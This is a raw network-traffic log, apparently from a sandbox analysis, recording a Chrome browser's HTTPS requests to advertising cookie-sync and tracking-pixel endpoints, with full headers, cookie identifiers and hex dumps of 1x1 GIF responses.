KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; PugT=1704929244
2024-01-10 23:27:26 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	50382	35.186.193.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	859	OUT	GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1 Host: ipac.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cid=3eb4f1d28af642b8a97d60a85e0f7108
2024-01-10 23:27:26 UTC	502	IN	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid=3eb4f1d28af642b8a97d60a85e0f7108; path=/; domain=.ctnsnet.com; expires=Thu, 09 Jan 2025 23:27:26 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Wed, 10 Jan 2024 23:27:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.4	50370	172.105.221.29	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	726	OUT	GET /pubmatic HTTP/1.1 Host: gocm.c.appier.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _auid=e9qoKPUsCQSvHM9C2yefZQ
2024-01-10 23:27:26 UTC	609	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 153 Connection: close Accept-Ch: Sec-CH-UA-Model,Sec-CH-UA-Platform-Version Cache-Control: no-store Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ P3p: CP="CUR ADM DEV TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: _auid=e9qoKPUsCQSvHM9C2yefZQ; Path=/; Domain=c.appier.net; Expires=Fri, 10 Jan 2025 23:27:26 GMT; HttpOnly; Secure; SameSite=None
2024-01-10 23:27:26 UTC	153	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 79 4d 44 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 65 39 71 6f 4b 50 55 73 43 51 53 76 48 4d 39 43 32 79 65 66 5a 51 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	50385	35.244.154.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	656	OUT	GET /712188.gif?partner_uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	735	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CPy7KxIwCiwIARCFpQoaJEFGMUEzMEIwLTI0QjgtNDc2RS1BRUQ0LUJFOERDQUZBNDFDNBAAGg0I3s_8rAYSBQjoBxAAQgBKAA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=A5tV0QjfDAJz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; Path=/; Domain=rlcdn.com; Expires=Thu, 09 Jan 2025 23:27:26 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Sun, 10 Mar 2024 23:27:26 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	50390	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	889	OUT	GET /pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; ss=C0tr9KgPFgrNDN7ndyYZYg9RbQDDBTw8B5BpThVpD2510eOJ7IXi2Q4oqyxtExzfPdXq1vvGb3VBkLlFhyoEkw%3D%3D
2024-01-10 23:27:26 UTC	448	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Kestrel Set-Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; expires=Fri, 10 Jan 2025 23:27:26 GMT; path=/; secure; samesite=none Set-Cookie: ss=lQS0Fm%2FE261Zvys8Dq5GTz0HaMv6FzJdkQFw0eyai0gcZuf%2BnVKFQET27F%2BnkI%2BAcgLKB0TJyWvX9fHRum5rvg%3D%3D; expires=Fri, 10 Jan 2025 23:27:26 GMT; path=/; secure; samesite=none
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	50386	18.160.10.111	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	718	OUT	GET /syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: synchroscript.deliveryengine.adswizz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	312	IN	HTTP/1.1 200 OK Server: CloudFront Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Length: 0 Connection: close X-Cache: Error from cloudfront Via: 1.1 73c5607bdb5db0d651e25c848846d554.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: QA_Gfk6aCyMCxQwAQPxLU9kks47KYpghkE5pHGAHAIBPj0W0NFPX8g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	50388	38.98.69.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	604	OUT	GET /sn.ashx?&gdpr=0&gdpr_consent= HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	720	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R33645_10F17D40A_8AEC9589&r=https://pmp.mxptint.net/sn.ashx?ak=1 P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" Set-Cookie: mxpim=R33645_10F17D40A_8AEC9589.1.0000000000000000659F27DE; domain=mxptint.net; expires=Sat, 10-Jan-2026 23:27:26 GMT; path=/; secure; SameSite=None Date: Wed, 10 Jan 2024 23:27:25 GMT Connection: close Content-Length: 302 Strict-Transport-Security: max-age=-387934046; includeSubDomains
2024-01-10 23:27:26 UTC	302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 6a 63 30 4e 43 5a 30 62 44 30 78 4e 54 63 32 4f 44 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 52 33 33 36 34 35 5f 31 30 46 31 37 44 34 30 41 5f 38 41 45 43 39 35 38 39 26 61 6d 70 3b 72 3d 68 74 74 70 73 3a 2f 2f 70 6d 70 2e 6d 78 70 74 69 6e 74 2e 6e 65 74 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R33645_10F17D40A_8AEC9589&r=https://pmp.mxptint.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	50383	23.88.86.2	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.1 Date: Wed, 10 Jan 2024 23:27:26 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	50391	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3634	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	604	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	50389	34.193.193.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	659	OUT	GET /map/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	459	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.48.101 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://bcp.crwdcntrl.net/map/ct=y/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	50392	104.18.25.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	919	OUT	GET /z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=aynoeURwEfTS2QVqs9OJKfrrvZbSpajKVn46HjRuZc
2024-01-10 23:27:26 UTC	797	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 43 Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 302 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aNntuJyg6AbrA7u8PVN85DadusGpYhXKGFFlJxMr7SX8Zb75Ue95HAxwWAKD2ysU17jbLG6Ljpl2cdr7EhG1Za6IDK; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:26 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aNntuJyg6AbrA7u8PVN85DadusGpYhXKGFFlJxMr7SX8Zb75Ue95HAxwWAKD2ysU17jbLG6Ljpl2cdr7EhG1Za6IDK; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:26 GMT; CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8438b0d01ad32d06-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 02 02 44 01 00 3b Data Ascii: GIF89a!,@D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.4	50387	188.166.17.21	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	740	OUT	GET /pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsby.bidtheatre.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	517	IN	HTTP/1.1 302 302 Date: Wed, 10 Jan 2024 23:27:26 GMT Server: Apache P3P: policyref="/w3c/p3p.xml", CP="DSP NON LAW OUR CUR DEVo PSAo PSDo IND STA NAV COM INT" Set-Cookie: __kuid=849a4113-d09c-4482-ae21-8f29dfa74f3d.474143246; Max-Age=604800; Domain=.adsby.bidtheatre.com; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:849a4113-d09c-4482-ae21-8f29dfa74f3d&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	50396	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
